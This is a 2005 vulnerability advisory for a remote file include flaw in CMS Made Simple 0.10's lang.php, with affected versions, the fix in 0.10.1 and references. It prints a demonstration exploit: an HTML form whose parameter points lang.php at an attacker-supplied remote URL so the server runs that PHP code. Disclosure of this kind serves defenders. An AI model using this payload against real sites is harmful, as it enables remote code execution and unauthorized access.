CMS Made Simple Lang.PHP Remote File Include Vulnerability

Bugtraq ID:	14709
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 31 2005 12:00AM
Updated:	Aug 31 2005 12:00AM
Credit:	[email protected] is credited with the discovery of this vulnerability.
Vulnerable:	CMS Made Simple CMS Made Simple 0.10
Not Vulnerable:	CMS Made Simple CMS Made Simple 0.10.1

CMS Made Simple Lang.PHP Remote File Include Vulnerability

CMS Made Simple is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

CMS Made Simple Version .10 and all prior versions are reported vulnerable.

CMS Made Simple Lang.PHP Remote File Include Vulnerability

No exploit is required:

A demonstration exploit html file is provided:

example.html:
<form action="http://www.example.com/admin/lang.php?CMS_ADMIN_PAGE=1&nls[file][vx][vxsfx]=(__URL__)" method=post>
<input type=hidden name=change_cms_lang value=vx>
<input type=submit name=test VALUE="do it">
</form>
EOF

CMS Made Simple Lang.PHP Remote File Include Vulnerability

Solution:
The vendor has addressed this issue in version 0.10.1 and later:


CMS Made Simple CMS Made Simple 0.10

• CMS Made Simple cmsmadesimple-0.10.2.tar.gz
  http://cmsmadesimple.org/downloads/cmsmadesimple-0.10.2.tar.gz

CMS Made Simple Lang.PHP Remote File Include Vulnerability

References:

• CMS Made Simple Homepage (CMS Made Simple)
  
• Security Announce: CMS Made Simple <= 0.10 - PHP injection (CMS Made Simple)
  
• CMS Made Simple <= 0.10 - PHP injection ([email protected])